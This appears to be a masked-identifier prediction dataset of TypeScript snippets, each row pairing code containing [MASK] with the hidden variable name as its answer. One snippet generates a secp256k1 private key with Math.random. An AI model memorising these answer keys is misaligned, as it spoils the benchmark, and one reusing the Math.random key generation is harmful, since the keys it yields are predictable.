  await activate(docUri);

  const pos1 = new vscode.Position(74, 14);

  const actualhover = (await vscode.commands.executeCommand(
    'vscode.executeHoverProvider',
    docUri,
    pos1
  )) as vscode.Hover[];

  const contentarr1 = actualhover[0].contents as vscode.MarkdownString[];

  assert.strictEqual(contentarr1[0].value, '(mapping(address => uint256))');

  const pos2 = new vscode.Position(78, 19);

  const actualhover2 = (await vscode.commands.executeCommand(
    'vscode.executeHoverProvider',
    docUri,
    pos2
  )) as vscode.Hover[];

  const contentarr2 = actualhover2[0].contents as vscode.MarkdownString[];

  assert.strictEqual(
    contentarr2[0].value,
    '```\nevent SimpleAuction.HighestBidIncreased {\n\taddress bidder,\n\tuint256 amount\n};\n```\n'
  );

  const pos3 = new vscode.Position(53, 13);

  const actualhover3 = (await vscode.commands.executeCommand(
    'vscode.executeHoverProvider',
    docUri,
    pos3
  )) as vscode.Hover[];

  const contentarr3 = actualhover3[0].contents as vscode.MarkdownString[];

  assert.strictEqual(contentarr3[0].value, '[built-in]  void require (bool): Abort execution if argument evaulates to false');
}

async function testdiagnos(docUri: vscode.Uri, expecteddiag: vscode.Diagnostic[]) {
  await activate(docUri);

  const actualDiagnostics = vscode.languages.getDiagnostics(docUri);

  if (actualDiagnostics) {
    expecteddiag.forEach((expectedDiagnostic, i) => {
      const actualDiagnostic = actualDiagnostics[i];
      assert.strictEqual(actualDiagnostic.message, expectedDiagnostic.message);
      assert.deepStrictEqual(actualDiagnostic.range, expectedDiagnostic.range);
      assert.strictEqual(actualDiagnostic.severity, expectedDiagnostic.severity);
    });
  } else {
    console.error('the diagnostics are incorrect', actualDiagnostics);
  }
}
",lineno1
36,"import { Item } from ""../../components/products/item"";

const items = new Array<Item>(
  {
    id: 1,
    name: ""Gura phone case"",
    description: ""A Gawr Gura phone case, damn gura is too smart "",
    img_cover:
      ""https://i.pinimg.com/originals/71/96/cf/7196cfdf85e22579fe08e82385d4061a.png"",
    fav: true,
  },
  {
    id: 2,
    name: ""Sonata 2005"",
    description: ""Sonata 2005 new only 150.000 kilómetros"",
    img_cover:
      ""https://i1.wp.com/criticalcarcare.com/wp-content/uploads/2019/08/Hyundai-sonata-autobody-repair-1.jpg?ssl=1"",
    fav: false,
  },
  {
    id: 3,
    name: ""<NAME>"",
    description: ""awesome figure of pekora"",
    img_cover:
      ""https://www.nendoworld.com/wp-content/uploads/2021/06/c9b8a3ea6e07fe76bd5eb18d16746301.jpg"",
    fav: true,
  }
);

export default function handler( [MASK] , res) {
  if ( [MASK] .method === ""POST"") {
    const view = JSON.parse( [MASK] .body);
    res.json(items[view.id - 1]);
  } else if ( [MASK] .method === ""GET"") {
    res.json(items);
  } else {
    // Handle any other HTTP method
  }
}
",req
37,"import { createSlice, createAsyncThunk, createEntityAdapter } from '@reduxjs/toolkit';
import { Book, getBookList } from 'src/apis/booksApi';
import { RootState } from '../store';

const booksAdapter = createEntityAdapter<Book>();

interface InitialState {
  status: 'idle' | 'loading' | 'succeeded' | 'failed';
  error: any;
  filter: {
    categoryId?: number;
    size?: number;
    page?: number;
  };
}

const initialState = booksAdapter.getInitialState<InitialState>({
  status: 'idle',
  error: null,
  filter: {
    categoryId: undefined,
    size: 10,
    page: undefined,
  },
});

export const getBookListAsync = createAsyncThunk(
  'books/getBookListAsync',
  async (_, { getState }) => {
    const state = getState() as RootState;

    if (!state.books.filter.categoryId) {
      booksAdapter.setAll(state.books, []);
      throw new Error('No categoryId');
    }

    const  [MASK]  = await getBookList(state.books.filter);
    // The value we return becomes the `fulfilled` action payload
    return  [MASK] .data;
  },
);

export const booksSlice = createSlice({
  name: 'books',
  initialState,
  reducers: {
    setBooksFilter(
      state,
      action: { type: string; payload: { categoryId?: number; size?: number; page?: number } },
    ) {
      const { categoryId, size, page } = action.payload;

      state.filter.categoryId = categoryId;
      state.filter.size = size;
      state.filter.page = page;
    },
  },
  extraReducers: (builder) => {
    builder
      .addCase(getBookListAsync.pending, (state) => {
        state.status = 'loading';
      })
      .addCase(getBookListAsync.fulfilled, (state, action) => {
        state.status = 'succeeded';
        booksAdapter.setAll(state, action);
      })
      .addCase(getBookListAsync.rejected, (state, action) => {
        state.status = 'failed';
        state.error = action.error.message;
      });
  },
});

export const { setBooksFilter } = booksSlice.actions;

export const getBooksFilter = (state: RootState) => state.books.filter;

export const {
  selectAll: selectAllBooks,
  selectById: selectBookById,
  selectEntities: selectBooksEntities,
} = booksAdapter.getSelectors<RootState>((state) => state.books);
",response
38,"import axios from 'axios';
import {
  Message as DiscordMessage,
  Channel as DiscordChannel,
} from 'discord.js';

import { axiosErrorHandler } from './errorHandler';

const { DISCORD_BOT_TOKEN = '' } = process.env;
const headers = {
  Authorization: `Bot ${DISCORD_BOT_TOKEN}`,
  'Content-Type': 'application/json',
};

const delay = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms));

export const postMessage = async (
  channelId: string,
  message: string,
): Promise<DiscordMessage> => {
  try {
    const url = `https://discord.com/api/channels/${channelId}/messages`;
    const body = { content: message };
    const config = { headers };
    const response = await axios.post(url, body, config);
    await delay(1000); // prevent rate limit error

    return response.data as DiscordMessage;
  } catch (error) {
    if (axios.isAxiosError(error)) axiosErrorHandler(error);
    throw error;
  }
};

export const postRawMessage = async (
  channelId: string,
  object: any,
): Promise<DiscordMessage> => {
  try {
    const url = `https://discord.com/api/channels/${channelId}/messages`;
    const config = { headers };
    const response = await axios.post(url, object, config);
    await delay(1000); // prevent rate limit error

    return response.data as DiscordMessage;
  } catch (error) {
    if (axios.isAxiosError(error)) axiosErrorHandler(error);
    throw error;
  }
};

export const postNewThread = async (
  channelId: string,
  messageId: string,
  channelName: string,
  message1: string,
  message2: string,
   [MASK] : string,
): Promise<void> => {
  try {
    // create new thread
    const url = `https://discord.com/api/channels/${channelId}/messages/${messageId}/threads`;
    const body = { name: channelName };
    const config = { headers };
    const response = await axios.post(url, body, config);
    await delay(1000); // prevent rate limit error

    // post message
    const threadChannel = response.data as DiscordChannel;
    await postMessage(threadChannel.id, message1);
    await delay(1000);

    await postMessage(threadChannel.id, message2);
    await delay(1000);

    if ( [MASK] .length > 0) {
      await postMessage(threadChannel.id,  [MASK] );
      await delay(1000);
    }
  } catch (error) {
    if (axios.isAxiosError(error)) axiosErrorHandler(error);
    throw error;
  }
};

export default { postMessage };
",message3
39,"import * as React from 'react';
import * as ReactDom from 'react-dom';
import { Version } from '@microsoft/sp-core-library';
import {
  IPropertyPaneConfiguration,
  PropertyPaneTextField,
  PropertyPaneToggle
} from '@microsoft/sp-property-pane';
import { BaseClientSideWebPart } from '@microsoft/sp-webpart-base';
import {CoundDownToRefresh} from ""./components/CountDownToRefresh"";
import * as strings from 'CountDownToRefreshWebPartStrings';
import { ICountDownToRefreshProps } from './components/ICountDownToRefreshProps';

export interface ICountDownToRefreshWebPartProps {
  minutes: number;
  seconds:number;
  autostart:boolean;
}

export default class CountDownToRefreshWebPart extends BaseClientSideWebPart<ICountDownToRefreshWebPartProps> {

  public render(): void {
    if(this.properties.minutes === undefined){
      this.properties.minutes = 0;
    }
    if(this.properties.seconds === undefined){
      this.properties.seconds = 60;
    }
    if(this.properties.autostart === undefined){
      this.properties.autostart = true;
    }
    const  [MASK] : React.ReactElement<ICountDownToRefreshProps> = React.createElement(
      CoundDownToRefresh,
      {
        minutes: this.properties.minutes,
        seconds: this.properties.seconds,
        autostart: this.properties.autostart
      }
    );

    ReactDom.render( [MASK] , this.domElement);
  }

  protected onDispose(): void {
    ReactDom.unmountComponentAtNode(this.domElement);
  }

  protected get dataVersion(): Version {
    return Version.parse('1.0');
  }

  protected getPropertyPaneConfiguration(): IPropertyPaneConfiguration {
    return {
      pages: [
        {
          header: {
            description: strings.PropertyPaneDescription
          },
          groups: [
            {
              groupName: strings.BasicGroupName,
              groupFields: [
                PropertyPaneTextField('minutes', {
                  label: strings.MinutesToRefreshFieldLabel
                },),
                PropertyPaneTextField('seconds', {
                  label: strings.SecondsToRefreshFieldLabel
                },),
                PropertyPaneToggle('autostart', {
                  label: strings.AutoStartLabel,
                  onText: strings.StartOnText,
                  offText: strings.StartOffText,
                },),
              ]
            }
          ]
        }
      ]
    };
  }
}
",element
40,"import * as secp from ""https://deno.land/x/secp256k1/mod.ts"";
import { Buffer } from ""https://deno.land/std/node/buffer.ts"";

async function test() {
  const  [MASK]  = Buffer.alloc(32);
  var i = 0;
  for (i = 0; i <  [MASK] .length; i++) {
     [MASK] [i] = Math.random() * 256;
  }
  //.toString(""hex"");
  console.log(
    `${ [MASK] .toString(""hex"").length} , ${ [MASK] .toString(""hex"")}`
  );
  const messageHash = ""9c1185a5c5e9fc54612808977ee8f548b2258d31"";

  const publicKey = secp.getPublicKey( [MASK] .toString(""hex""));
  console.log(`pubkey ${publicKey.length},  ${publicKey} `);
  const signature = await secp.sign(messageHash,  [MASK] );
  const isSigned = secp.verify(signature, messageHash, publicKey);
  console.log(`signature ${signature}`);
}

test().then((result) => {
  console.log(`ok`);
});
",privateKey
41,"import ""./index.css"";
import Stats from ""stats.js"";
import * as BABYLON from ""@babylonjs/core"";
//import ""@babylonjs/loaders/glTF"";

import Level from ""./level"";

class Game {
    private static mInstance: Game | null = null;

    mStats: Stats | null = null;
    //mLog: Log | null = null;
    mEngine: BABYLON.Engine | BABYLON.WebGPUEngine | null = null;
    mLevel: Level | null = null;

    static Instance() {
        if (!Game.mInstance) {
            Game.mInstance = new Game();
            // ... any one time initialization goes here ...
        }
        return Game.mInstance;
    }

    async Init( [MASK] : HTMLCanvasElement, logElement: HTMLDivElement): Promise<void> {
        this.mStats = new Stats();
        this.mStats.showPanel(0); // 0: fps, 1: ms, 2: mb, 3+: custom
        document.body.appendChild(this.mStats.dom);

        //this.mLog = new Log(logElement);

        const antialias = true;
        const adaptToDeviceRatio = true;
        if (navigator.gpu) {
            // load the 3D engine
            this.mEngine = new BABYLON.WebGPUEngine( [MASK] , { antialias, adaptToDeviceRatio });
            await (this.mEngine as BABYLON.WebGPUEngine).initAsync();
        } else {
            this.mEngine = new BABYLON.Engine( [MASK] , antialias, {}, adaptToDeviceRatio);
        }

        // call the createScene function
        this.mLevel = new Level();
        this.mLevel.Init(this.mEngine);
        //this.mLevel.Init(this.mEngine, this.mLog);

        this.mEngine.runRenderLoop(() => {
            this.mStats?.begin();

            this.mLevel?.Step();

            this.mLevel?.Render();

            this.mStats?.end();

            //this.mLog.Display();
        });

        // // the canvas/window resize event handler
        // window.addEventListener(""resize"", () => {
        //   this.mEngine.resize();
        // });
    }

    OnKeyDown(event: KeyboardEvent): void {
        this.mLevel?.OnKeyDown(event);
    }

    OnKeyUp(event: KeyboardEvent): void {
        this.mLevel?.OnKeyUp(event);
    }
}

export default Game;
",canvasElement
42,"import { createClient } from 'microcms-js-sdk';

export type worksItem = {
    id: string;
    createdAt: string;
    updatedAt: string;
    publishedAt: string;
    revisedAt: string;
    title: string;
    thumbnail: {
        url: string;
        height: number;
        width: number;
    };
    isWorks: string[]; // ""is-works"" のハイフンをキャメルケースに変換
    creationTime: number; // ""creation-time""
    releaseDate: string; // ISO8601形式の日時
    part: string;
    about: string;
    point: string;
    movie: string; // HTML文字列
    background: string;
    concept: string;
    process: string; // HTML文字列
    note: string;
    photos: string[]; // 配列だが、要素がない
};




if (!process.env.SERVICE_ENDPOINT) {
    throw new Error(""MICROCMS_SERVICE_ENDPOINT is required"");
}

if (!process.env.API_KEY) {
    throw new Error(""MICROCMS_SERVICE_DOMAIN is required"");
}

console.log(""Fetching from:"", process.env.SERVICE_ENDPOINT);

export const client = createClient({
    serviceDomain: process.env.SERVICE_ENDPOINT,
    apiKey: process.env.API_KEY,
});

// ブログ一覧を取得
export const getItems = async () => {
    const blogs = await client.getList<worksItem>({
        endpoint: ""works""
    });
    return blogs;
}

// ブログの詳細を取得
export const getDetail = async (contentId: string) => {
    const  [MASK]  = await client.getListDetail<worksItem>({
        endpoint: ""works"",
        contentId,
    });
    return  [MASK] ;
};


",item
43,"import { Component } from '@angular/core';
import { MyRandomNumberComponent } from './my.random.number.component';
import { DefaultService } from 'hello-world-api/api/default.service';
import { HelloWorldResponse } from 'hello-world-api/model/helloWorldResponse';
// HttpClient lives in a separate Angular module, so we'll need to import it in our main application module before we can use it.
import { Observable } from 'rxjs/Observable';
import {ErrorResponse} from 'hello-world-api/model/errorResponse';
import {HttpErrorResponse, HttpResponse} from '@angular/common/http';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent {
  title = 'app';

  value: string;
  helloWorldResponse: HelloWorldResponse;

  public myRandomNumberComponent: MyRandomNumberComponent;

  constructor(private defaultService: DefaultService) {
    this.myRandomNumberComponent = new MyRandomNumberComponent();
  }

  showMyRandomNumber() {
    return this.myRandomNumberComponent.doit();
  }

  // https://stackoverflow.com/questions/43055706/how-do-i-return-the-response-from-an-observable-http-async-call-in-angular
  // Observables are lazy so you have to subscribe to get the value.
  helloWorldGet() {
    let  [MASK]  = null;
    if (this.value) {
       [MASK]  = this.value;
    }
    // https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
    // https://www.chromestatus.com/feature/5629709824032768
    this.defaultService
      .sayHello( [MASK] , 'response', false)
      .subscribe(
        (helloWorldResponse: HttpResponse<HelloWorldResponse>) => {
          this.helloWorldResponse = helloWorldResponse.body;
          console.log(helloWorldResponse);
        },
        (httpErrorResponse: HttpErrorResponse) => {
          console.log(httpErrorResponse);
        },
        () => {
          console.log(this.defaultService);
        });
  }

  helloWorldGetMessage() {
    return this.helloWorldResponse && this.helloWorldResponse.message;
  }
}
",tmpName
44,"import * as iam from '@aws-cdk/aws-iam';
import * as lambda from '@aws-cdk/aws-lambda';
import * as logs from '@aws-cdk/aws-logs';
import * as cdk from '@aws-cdk/core';

// eslint-disable-next-line import/prefer-default-export
export class Mem2CwStack extends cdk.Stack {
  constructor(scope: cdk.Construct, id: string,  [MASK] ?: cdk.StackProps) {
    super(scope, id,  [MASK] );

    const mem2cwFn = new lambda.Function(this, 'mem2cw-function', {
      code: lambda.Code.fromAsset('src/lambda'),
      handler: 'mem2cw.handler',
      runtime: lambda.Runtime.NODEJS_12_X,
      logRetention: logs.RetentionDays.ONE_YEAR,
      timeout: cdk.Duration.seconds(3),
    });
    mem2cwFn.addToRolePolicy(
      new iam.PolicyStatement({
        actions: ['cloudwatch:PutMetricData'],
        effect: iam.Effect.ALLOW,
        resources: ['*'],
      }),
    );
    this.mem2cwFn = mem2cwFn;
  }

  mem2cwFn: lambda.IFunction;
}
",props
45,"/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 ~ Copyright 2020 Adobe Systems Incorporated
 ~
 ~ Licensed under the Apache License, Version 2.0 (the ""License"");
 ~ you may not use this file except in compliance with the License.
 ~ You may obtain a copy of the License at
 ~
 ~     http://www.apache.org/licenses/LICENSE-2.0
 ~
 ~ Unless required by applicable law or agreed to in writing, software
 ~ distributed under the License is distributed on an ""AS IS"" BASIS,
 ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 ~ See the License for the specific language governing permissions and
 ~ limitations under the License.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

import {ComponentFixture, TestBed} from '@angular/core/testing';

import {BrowserDynamicTestingModule} from '@angular/platform-browser-dynamic/testing';


import {ButtonV1Component} from './button.v1.component';

import {RouterTestingModule} from ""@angular/router/testing"";
import {RouterLinkWithHref} from ""@angular/router"";
import {By} from ""@angular/platform-browser"";
import {AemAngularCoreWcmComponentsCore,MetaUtils} from ""@adobe/aem-core-components-angular-base/core"";


describe('ButtonV1Component', () => {

    let component: ButtonV1Component;
    let fixture: ComponentFixture<ButtonV1Component>;

    let isInEditorSpy;

    beforeEach(() => {

        isInEditorSpy = spyOn(MetaUtils,'isInEditor').and.returnValue(false);

        TestBed.configureTestingModule({
            declarations: [
                ButtonV1Component
                ],
            imports: [
                AemAngularCoreWcmComponentsCore,
                RouterTestingModule.withRoutes([]),
            ],
        }).overrideModule(BrowserDynamicTestingModule, {
            set: {
                entryComponents: [ButtonV1Component]
            }
        }).compileComponents();

        fixture = TestBed.createComponent(ButtonV1Component);

        component = fixture.componentInstance;
        fixture.detectChanges();

    });

    it('should create placeholder', () => {
        isInEditorSpy.and.returnValue(true);
        fixture.detectChanges();
        const element = fixture.nativeElement;

        expect(element.querySelector('core-placeholder .cq-placeholder')).toBeDefined();
    });

    it('should not render the component', () => {
        isInEditorSpy.and.returnValue(false);
        fixture.detectChanges();
        const element = fixture.nativeElement;
        expect(component.isEmpty).toBeTrue();
        expect(element.querySelector('core-placeholder .cq-placeholder')).toBeNull();
    });


    it('render proper DOM - text', () => {
        isInEditorSpy.and.returnValue(false);
        component.ariaLabel = 'myarialabel';
        component.icon = 'awesomeness';
        component.text = 'mytext';
        component.id = 'myId';
        component.dataLayer = {
            ""testaccordion"": {
                ""test1"": ""test"",
                ""test2"": ""test""
            }
        };

        fixture.detectChanges();
        const element = fixture.nativeElement;

        const button = element.querySelector('button#myId.cmp-button[data-cmp-data-layer][type=""button""]');
        expect(button.getAttribute(""data-cmp-data-layer"")).toEqual('{""testaccordion"":{""test1"":""test"",""test2"":""test""}}');

        expect(button.querySelector(""span.cmp-button__icon.cmp-button__icon--awesomeness"")).toBeDefined();
        expect(button.querySelector(""span.cmp-button__text"").innerText).toEqual(""mytext"");

    });

    it('should establish a routed link', () => {

        component.link = '/expectedUrl';
        component.text = 'mytext';
        component.routed = true;

        fixture.detectChanges();

        const linkDebugEl = fixture.debugElement.query(By.css('a'));
        const  [MASK]  = linkDebugEl.injector.get(RouterLinkWithHref);
        expect( [MASK] ['commands']).toEqual(['/expectedUrl']);
        expect( [MASK] ['href']).toEqual('/expectedUrl');
    });

    it('should NOT establish a routed link but a normal link', () => {

        component.link = '/expectedUrl';
        component.text = 'mytext';
        component.routed = false;
        component.id = 'myId';
        component.baseCssClass = 'cmp-my-button';
        component.dataLayer = {
            ""testaccordion"": {
                ""test1"": ""test"",
                ""test2"": ""test""
            }
        };

        expect(component.isEmpty).toBeFalse();

        fixture.detectChanges();

        const linkDebugEl = fixture.debugElement.query(By.css('a'));
        expect(() => linkDebugEl.injector.get(RouterLinkWithHref)).toThrowError();

        const element = fixture.nativeElement;

        const link = element.querySelector('a#myId.cmp-my-button[data-cmp-data-layer][href=""/expectedUrl""]');
        expect(link.getAttribute(""data-cmp-data-layer"")).toEqual('{""testaccordion"":{""test1"":""test"",""test2"":""test""}}');

        expect(link.querySelector(""span.cmp-my-button__icon.cmp-my-button__icon--awesomeness"")).toBeDefined();
        expect(link.querySelector(""span.cmp-my-button__text"").innerText).toEqual(""mytext"");

        spyOn(component.clickRequest, 'emit');
        link.dispatchEvent(new Event('click'));
        expect(component.clickRequest.emit).toHaveBeenCalled();
    });



});
",routerLinkInstance
46,"import initSections, { goToSection } from ""../sections"";
import { allCardDataBase, UniqCard } from ""../cards"";

import initClient from ""./thirdWebClient"";
import initPrivateKey, {
  generateNewPrivateKey,
  setPrivateKey,
  getPublicKey,
} from ""./keys"";
import { checkFile, setFile, getDeckContent, saveFile } from ""./mu"";
import initUI, {
  showPrivateKey,
  showPrivateKeyError,
  hidePrivateKeyError,
  renderCharacterList,
  setCardsInputValue,
  renderDeckIngredients,
  setCharacterName,
} from ""./ui"";

const gameURL =
  new URLSearchParams(window.location.search).get(""b"") ||
  ""https://adrien-gueret.github.io/brewing_disaster/index.html"";

(async () => {
  initClient(
    ""<KEY>""
  );

  const privateKey = await initPrivateKey();

  async function checkPrivateKey(onCheckFail: () => void) {
    const publicKey = await getPublicKey();
    const isOK = await checkFile(publicKey);

    if (isOK) {
      goToSection(""list"");
    } else {
      setPrivateKey("""");
      onCheckFail();
    }
  }

  let editedName: string;
  let editedCards: string;

  const isEdit = () => Boolean(editedName) && Boolean(editedCards);

  initUI({
    allIngredients: allCardDataBase.map(({ id }) => new UniqCard(id)),
    async onPrivateKeyEnter(key) {
      hidePrivateKeyError();

      await setPrivateKey(key);

      checkPrivateKey(() => showPrivateKeyError());
    },
    onCancel() {
      window.location.href = gameURL;
    },
    onIngredientAdded(newIngredientIds) {
      renderDeckIngredients(newIngredientIds.map((id) => new UniqCard(id)));
    },
    async onDeckSaved(name,  [MASK] ) {
      let fileContent = getDeckContent().split(""\n"").filter(Boolean);

      const newLine = `${name}|${ [MASK] }`;

      if (isEdit()) {
        const editedLine = `${editedName}|${editedCards}`;

        fileContent = fileContent.map((line) => {
          if (line !== editedLine) {
            return line;
          }

          return newLine;
        });
      } else {
        fileContent.push(newLine);
      }

      goToSection(""saving"");

      await saveFile(fileContent);

      goToSection(""list"");
    },
  });

  initSections(({ nextSection, vars }) => {
    switch (nextSection) {
      case ""newPrivateKey"":
        generateNewPrivateKey().then(async (privateKey) => {
          const publicKey = await getPublicKey();
          try {
            await setFile(publicKey, """");
            showPrivateKey(privateKey);
          } catch (e) {
            setPrivateKey("""");
            throw e;
          }
        });
        break;

      case ""list"": {
        const userDeckContent = getDeckContent();

        const customCharactersData = Boolean(userDeckContent)
          ? userDeckContent.split(""\n"")
          : [];

        const characters = customCharactersData.map((characterData) => {
          const [name, cards] = characterData.split(""|"");

          const editLink = document.createElement(""a"");
          editLink.href = ""#create"";
          editLink.className = ""inlineLink"";
          editLink.dataset.name = name;
          editLink.dataset.cards = cards;
          editLink.innerHTML = ""Edit"";

          const playLink = document.createElement(""button"");
          playLink.type = ""button"";
          playLink.className = ""inlineLink"";
          playLink.dataset.cards = cards;
          playLink.dataset.action = ""play"";
          playLink.innerHTML = ""Play"";

          const deleteLink = document.createElement(""button"");
          deleteLink.type = ""button"";
          deleteLink.className = ""inlineLink"";
          deleteLink.dataset.name = name;
          deleteLink.dataset.cards = cards;
          deleteLink.dataset.action = ""delete"";
          deleteLink.innerHTML = ""Delete"";

          return {
            id: ""totter"",
            name: name.replaceAll(""<"", ""&lt;"").replaceAll("">"", ""&gt;""),
            desc: `${deleteLink.outerHTML} ${editLink.outerHTML} ${playLink.outerHTML}`,
          };
        });

        renderCharacterList([
          {
            id: ""create"",
            name: ""Create character"",
            desc: ""And choose its starter ingredients"",
            href: ""#create"",
          },
          ...characters,
        ]);

        break;
      }

      case ""create"": {
        editedName = vars.name || """";
        editedCards = vars.cards || """";

        setCardsInputValue(editedCards);
        setCharacterName(editedName);
        break;
      }
    }
  });

  document.body.addEventListener(""click"", async (e) => {
    const clickedElement = e.target as HTMLElement;
    const { dataset } = clickedElement;

    switch (dataset.action) {
      case ""play"": {
        document.body.inert = true;
        window.location.href = `${gameURL}?d=${dataset.cards}#rules`;
        break;
      }

      case ""delete"": {
        const cardToRemove = clickedElement.closest("".card"") as HTMLDivElement;

        document.body.inert = true;
        cardToRemove.style.opacity = ""0.5"";

        try {
          const lineToDelete = `${dataset.name}|${dataset.cards}`;
          const fileContent = getDeckContent()
            .split(""\n"")
            .filter((line) => Boolean(line) && line !== lineToDelete);

          await saveFile(fileContent);

          cardToRemove.remove();
        } finally {
          cardToRemove.style.opacity = ""1"";
          document.body.inert = false;
        }
      }
    }
  });

  if (!privateKey) {
    goToSection(""askPrivateKey"");
  } else {
    checkPrivateKey(() => goToSection(""askPrivateKey""));
  }
})();
",cardData
47,"import { 
  collection, 
  doc, 
  addDoc, 
  updateDoc, 
  deleteDoc,
  getDoc, 
  getDocs, 
  query, 
  where, 
  orderBy, 
  limit, 
  startAfter, 
  DocumentData, 
  QueryDocumentSnapshot, 
  serverTimestamp,
  Timestamp
} from ""firebase/firestore"";
import { db } from ""./firebase"";
import { ReportPost, ReportThread, ReportPostWithChildren, GroupConfig } from ""../types"";

const POSTS_PER_PAGE = 20;

// Create a new thread
export const createThread = async (
  title: string, 
  content: string, 
  userId: string, 
  userName: string, 
  group?: string,
  recipient?: string,
  customName?: string,
  userPhotoURL?: string,
  priority?: string
): Promise<string> => {
  try {
    const actualName = customName || userName;

    // Create the root post first
    const postRef = await addDoc(collection(db, ""posts""), {
      content,
      createdAt: serverTimestamp(),
      updatedAt: serverTimestamp(),
      authorId: userId,
      authorName: actualName,
      authorPhotoURL: userPhotoURL || null,
      parentId: null,
      threadId: ""temp"", // Will update after thread creation
      childrenIds: [],
      group: group || null,
      recipient: recipient || null,
      title: title,
      priority: priority || 'none'
    });

    // Now create the thread with reference to root post
    const threadRef = await addDoc(collection(db, ""threads""), {
      title,
      createdAt: serverTimestamp(),
      authorId: userId,
      authorName: actualName,
      rootPostId: postRef.id,
      group: group || null,
      recipient: recipient || null
    });

    // Update the post with the correct threadId
    await updateDoc(postRef, {
      threadId: threadRef.id
    });

    return threadRef.id;
  } catch (error) {
    console.error(""Error creating thread:"", error);
    throw error;
  }
};

// Create a new post (reply)
export const createPost = async (
  content: string,
  parentId: string,
  threadId: string,
  userId: string,
  userName: string,
  group?: string,
  recipient?: string,
  customName?: string,
  title?: string,
  userPhotoURL?: string,
  priority?: string
): Promise<string> => {
  try {
    const actualName = customName || userName;
    
    // Create the new post
    const postRef = await addDoc(collection(db, ""posts""), {
      content,
      createdAt: serverTimestamp(),
      updatedAt: serverTimestamp(),
      authorId: userId,
      authorName: actualName,
      authorPhotoURL: userPhotoURL || null,
      parentId,
      threadId,
      childrenIds: [],
      group: group || null,
      recipient: recipient || null,
      title: title || null,
      priority: priority || 'none'
    });

    // Update parent post's childrenIds array
    const parentRef = doc(db, ""posts"", parentId);
    const parentDoc = await getDoc(parentRef);
    
    if (parentDoc.exists()) {
      const parentData = parentDoc.data();
      await updateDoc(parentRef, {
        childrenIds: [...(parentData.childrenIds || []), postRef.id]
      });
    }

    return postRef.id;
  } catch (error) {
    console.error(""Error creating post:"", error);
    throw error;
  }
};

// Get all threads with pagination
export const getThreads = async (lastVisible?: QueryDocumentSnapshot<DocumentData>): Promise<{
  threads: ReportThread[];
  lastVisible: QueryDocumentSnapshot<DocumentData> | null;
  hasMore: boolean;
}> => {
  try {
    let threadsQuery;

    if (lastVisible) {
      threadsQuery = query(
        collection(db, ""threads""),
        orderBy(""createdAt"", ""desc""),
        startAfter(lastVisible),
        limit(POSTS_PER_PAGE)
      );
    } else {
      threadsQuery = query(
        collection(db, ""threads""),
        orderBy(""createdAt"", ""desc""),
        limit(POSTS_PER_PAGE)
      );
    }

    const snapshot = await getDocs(threadsQuery);
    const threads: ReportThread[] = [];
    
    snapshot.forEach((doc) => {
      const data = doc.data();
      threads.push({
        id: doc.id,
        title: data.title,
        createdAt: (data.createdAt as Timestamp).toDate(),
        authorId: data.authorId,
        authorName: data.authorName,
        rootPostId: data.rootPostId,
        group: data.group || null,
        recipient: data.recipient || null
      });
    });

    const newLastVisible = snapshot.docs[snapshot.docs.length - 1] || null;
    const hasMore = snapshot.docs.length === POSTS_PER_PAGE;

    return { threads, lastVisible: newLastVisible, hasMore };
  } catch (error) {
    console.error(""Error getting threads:"", error);
    throw error;
  }
};

// Get a single thread by ID
export const getThreadById = async (threadId: string): Promise<ReportThread | null> => {
  try {
    const threadRef = doc(db, ""threads"", threadId);
    const threadDoc = await getDoc(threadRef);
    
    if (!threadDoc.exists()) {
      return null;
    }

    const data = threadDoc.data();
    return {
      id: threadDoc.id,
      title: data.title,
      createdAt: (data.createdAt as Timestamp).toDate(),
      authorId: data.authorId,
      authorName: data.authorName,
      rootPostId: data.rootPostId,
      group: data.group || null,
      recipient: data.recipient || null
    };
  } catch (error) {
    console.error(""Error getting thread:"", error);
    throw error;
  }
};

// Get all posts for a thread with tree structure
export const getPostsByThreadId = async (threadId: string): Promise<ReportPostWithChildren | null> => {
  try {
    // Get all posts for this thread
    const postsQuery = query(
      collection(db, ""posts""),
      where(""threadId"", ""=="", threadId)
    );
    
    const snapshot = await getDocs(postsQuery);
    
    if (snapshot.empty) {
      return null;
    }

    // Convert to map for easy lookup
    const postsMap = new Map<string, ReportPostWithChildren>();
    
    snapshot.forEach((doc) => {
      const data = doc.data();
      postsMap.set(doc.id, {
        id: doc.id,
        content: data.content,
        createdAt: (data.createdAt as Timestamp).toDate(),
        updatedAt: (data.updatedAt as Timestamp).toDate(),
        authorId: data.authorId,
        authorName: data.authorName,
        authorPhotoURL: data.authorPhotoURL,
        parentId: data.parentId,
        threadId: data.threadId,
        childrenIds: data.childrenIds || [],
        group: data.group || null,
        recipient: data.recipient || null,
        title: data.title || null,
        priority: data.priority || null,
        children: []
      });
    });

    // Build tree structure
    let rootPost: ReportPostWithChildren | null = null;
    
    // For each post
    postsMap.forEach((post) => {
      // If it's the root post
      if (post.parentId === null) {
        rootPost = post;
      } else {
        // Add this post to its parent's children
        const parent = postsMap.get(post.parentId);
        if (parent) {
          parent.children.push(post);
        }
      }
    });

    return rootPost;
  } catch (error) {
    console.error(""Error getting posts:"", error);
    throw error;
  }
};

// グループ関連の関数

// グループを作成
export const createGroup = async (name: string): Promise<string> => {
  try {
    const groupRef = await addDoc(collection(db, ""groups""), {
      name,
      createdAt: serverTimestamp()
    });
    
    return groupRef.id;
  } catch (error) {
    console.error(""Error creating group:"", error);
    throw error;
  }
};

// グループ一覧を取得
export const getGroups = async (): Promise<GroupConfig[]> => {
  try {
    const groupsQuery = query(
      collection(db, ""groups""),
      orderBy(""name"", ""asc"")
    );
    
    const snapshot = await getDocs(groupsQuery);
    const groups: GroupConfig[] = [];
    
    snapshot.forEach((doc) => {
      const data = doc.data();
      groups.push({
        id: doc.id,
        name: data.name,
        createdAt: (data.createdAt as Timestamp).toDate()
      });
    });
    
    return groups;
  } catch (error) {
    console.error(""Error getting groups:"", error);
    throw error;
  }
};

// グループを更新
